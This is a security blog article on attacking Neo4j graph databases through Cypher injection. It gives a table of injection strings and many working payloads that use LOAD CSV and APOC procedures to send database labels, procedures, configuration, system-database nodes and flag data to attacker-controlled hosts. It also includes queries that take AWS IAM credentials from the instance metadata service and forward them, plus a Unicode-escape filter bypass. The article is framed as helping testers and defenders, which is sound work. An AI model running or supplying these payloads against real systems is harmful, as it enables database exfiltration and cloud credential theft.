Neo4J exploitation
New Era, New Database….
Neo4J is not really new its been available since approximately 2010, when creator and founder Emil Eifrem worked together with an intern from IIT bombay to develop a grpah database platform.
Penetration testers may have had some limited exposure to Neo4J while running and querying Bloodhound(the AD enumeration tool, to graph domain memberships and permissions). Or even from our own previous research from 2021: Graphs Everywhere where we utilised Neo4J to graph malware traffic flows and the Mitre Attack TTPs and threat actors.
So with the uptake in cloud based graph databases, and graphing databases used in business, we thought we would revist the topic of Neo4J and look at some basic attack methodology. As most organisations leave Neo4J in an insecure state…
Cypher
Simple Query
Neo4J’s graph syntax is a bit odd, rounded brackets are used to represent nodes, and square brackets represent relationships. Unlike traditional SQL statements, Cypher supports parameters at the protocol level.
A simple Cypher query in the default Movies database is as simple as
MATCH (a: Person)-[:ACTED_IN]->(m: Movie)<-[:DIRECTED]-(d:Person)
RETURN a, m, d
Simple filter
Filtering queries is as simple as adding a parameter
MATCH (a: Person {name:'Keanu Reeves'})-[:ACTED_IN]->(m: Movie)<-[:DIRECTED]-(d:Person)
RETURN a, m, d
Simple Union
Like traditional SQL Neo4J supports UNION statements
MATCH (a: Person) RETURN a.name UNION RETURN 'Keanu Reeves' as name
Injections
Below is a table showing examples of typicall UNION injections mapped to their SQL counterparts
Injectable query | Injection |
---|---|
MATCH (o) WHERE o.Id=’{input}’ | ’ OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
MATCH (o) WHERE ‘{input}’ = o.Id | ’=’ {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE {input} in [different, values] | ’=’ {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} | a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} |
a` {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:’{input}’}) | ’}) RETURN 1 UNION MATCH (n) {…} RETURN 1 // |
MATCH (o:{input}) | a) RETURN 1 UNION MATCH (n){…} RETURN 1// |
MATCH (o:{input} ) |
a`) RETURN 1 UNION MATCH (n){…} RETURN 1 // |
MATCH (o)-[r {id:’{input}’})]-(o2) | ’}]-() RETURN 1 UNION MATCH (n){…} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) | a]-() RETURN 1 UNION MATCH (n){…} RETURN 1 // |
MATCH (o)-[r:{input} ]-(o2) |
a`]-() RETURN 1 UNION MATCH (n){…} RETURN 1 // |
Data exfiltration
For this example imagine the vulnerable query:
MATCH (o) WHEREo.Id='{input}' RETURN o
As an attacker we can use the above UNION statements togeth with LOAD CSV FROM to send the database to the attackers server:
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
APOC? WTF is APOC?
The first thing an security analyst should check is whether APOC is installed.
APOC (Awesome? Procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment, but therein lies the problem: more power for the developer means more power for the attacker. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.
APOC offers functions that can prove useful for injections. These functions can serialize and encode data, making it much easier to exfiltrate sensitive content.
- apoc.convert.toJson — converts nodes, maps, and more to JSON
- apoc.text.base64Encode — gets a string and encodes it as base64 Much more interesting are the procedures that APOC offers. They are a game-changer for attackers.
Also, make note of these interesting procedures and functions that let you evaluate queries:
- apoc.cypher.runFirstColumnMany — a function that returns the values of the first column as a list
- apoc.cypher.runFirstColumnSingle — a function that returns the first value of the first column
- apoc.cypher.run — a procedure that runs a query and returns the results as a map
- apoc.cypher.runMany — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction. Using the load.*params procedures, an attacker can specify headers, request data, and use different methods other than GET.
apoc.load.jsonParams
Name | Type | Example | Is required |
---|---|---|---|
urlOrKeyorBinary | Any | “http://attacker.com/json” | Yes |
headers | Map or null | { method: “POST”, Authorization :”BEARER “ + hacked_token} |
Yes |
payload | String or null | Data | Yes |
path | String or null | Data | No |
config | Map or null | Null | No |
Return values:
Name | Description | Type | Example |
---|---|---|---|
value | The parsed JSON | MAP | {“Hello”: “World”} |
apoc.load.csvParams
Note: in Neo4j 5, this procedure was moved to APOC extended
Name | Type | Example | Is Required |
---|---|---|---|
urlOrKeyorBinary | Any | “http://attacker.com/json” | Yes |
headers | Map or null | { method: “POST”, Authorization :”BEARER “ + hacked_token} |
Yes |
payload | String or null | Data | Yes |
config | Map or null | {header: FALSE} | No |
Return values:
Name | Description | Type | Example |
---|---|---|---|
lineNo | The line number of the value | Integer | 0 |
list | List of values in a row | List⟨string⟩ | [“a”,”b”,”c”] |
map | If headers are present, map will map the header with the value | Map | {“A: “a”} |
Exfiltraing data is as simple as:
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0
Some other interesting attack queries:
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
'}) RETURN 0 as _0 UNION MATCH (f:Flag) LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 //
Server Version
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
List all functions
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
Neo4J 5+
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
Steal SYSTEM DB
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
## ENV
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
AWS
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
Unicode Injection
This is often useful when there’s a WAF. But there are other cases, in which this feature enables exploitation. For example, if the server removes single quotes, and the query looks like the following:
MATCH (a: {name: '$INPUT'}) RETURN a
It is possible to inject:
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker.com/ "+ label RETURN 0 as _o //
In summary
Neo4j is a powerful tool, used and beloved by developers and security experts. Like all powerful tools, there are risks to consider when using it, risks that most don’t know or understand. We hope this article has helped educate you on the different ways an attacker can abuse Neo4j, so you can assess and mitigate the risks. We also hope this article will aid security experts in improving the security of the systems and apps they evaluate.
Share on: